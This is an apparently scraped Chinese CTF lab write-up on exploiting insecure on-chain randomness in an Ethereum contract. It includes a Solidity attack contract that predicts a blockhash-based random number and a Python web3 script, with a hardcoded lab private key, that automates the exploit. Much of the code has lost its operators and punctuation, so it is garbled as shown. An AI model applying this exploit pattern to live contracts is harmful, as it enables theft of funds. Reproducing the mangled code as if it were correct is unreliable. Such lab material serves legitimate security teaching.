织梦响应式网站,编写网站的软件,html5网站开发语言的有点,wordpress脚注更改区块链安全 文章目录 区块链安全不安全的随机数实战二实验目的实验环境实验工具实验原理实验内容EXP利用 不安全的随机数实战二
实验目的
学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理
由…区块链安全 文章目录 区块链安全不安全的随机数实战二实验目的实验环境实验工具实验原理实验内容EXP利用 不安全的随机数实战二
实验目的
学会使用python3的web3模块 学会以太坊不安全的随机数漏洞分析及利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理
由于所有以太坊节点在验证交易时需要计算出相同的结果以达成共识因此 EVM 本身无法实现真随机数的功能。至于伪随机数其熵源也是只能是确定值。 EVM 有五个字节码可以获取当前区块的变量包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说都是已知或者可操控的因此在私有链部署的题目中可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上这个方法就不太可行但我们也可以编写攻击合约在攻击合约中获取到相同的区块变量值进一步用相同的算法得到随机数值。
实验内容
找到不安全的随机数漏洞并形成利用 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10004
获取合约地址和合约源代码 nc ip 10004连接到题目输入1获取部署合约的game account及token
打开http://ip输入上述分配的game account点击Request获取eth
nc ip 10004连接到题目输入2获取部署合约的地址及new token
nc ip 10004连接到题目输入4获取合约源代码或者在题目附件找到合约源代码
分析合约源代码漏洞 题目要求把flag设置为true分析合约代码需要使balanceOf[msg.sender]3000
漏洞主要在于EVM 有五个字节码可以获取当前区块的变量包括 coinbase、timestamp、number、difficulty、gaslimit虽然依靠这些变量可以生成随机数但生成的随机数是伪随机数本题目中只需要使用第三方合约与其交互随机数生成使用同样的算法即可因为第三方合约和其交互的交易会打包到同一区块中这样便可预测随机数。
EXP利用
编写第三方合约使用和题目相同的算法预测随机数将下述ETH4的地址换成自己题目合约的地址
contract hack {ETH4 target ETH4(0x1ef792186a9EdBd3366A5804D399924F4A98715f);function hack1() public {for(uint i0;i3;i){uint256 seed uint256(block.blockhash(block.number-1));uint rand seed % 10;target.bet(rand);}}function callsendflag() public {target.callsendflag();}
}调用利用链是先调用hack1()然后调用callsendflag()即可
编写exp将这一过程自动化下述contract_address的地址换成自己题目合约的地址
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0xF05B4DAD63660aDaa2A23F4434fd5f30c24d7480
private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb
public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23)
with open(./attack.sol, r) as f:SRC_TEXT f.read()
compiled_sol compile_source(SRC_TEXT)
CONT_IF compiled_sol[stdin:hack]txn generate_tx(8888, , CONT_IF[bin], 0)
txn_receipt sign_and_send(txn)
hack_address txn_receipt[contractAddress]
print(hack_address ,hack_address)time.sleep(5)# hack1()
data Web3.keccak(texthack1()).hex()[:10]
txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack sign_and_send(txn)
print(Hack)time.sleep(5)# callsendflag()
data Web3.keccak(textcallsendflag()).hex()[:10]
txn generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack sign_and_send(txn)
print(Hack)打开命令行执行以下命令切换solc版本 6
运行exp
nc ip 10004连接到题目输入3输入之前的new token获取flag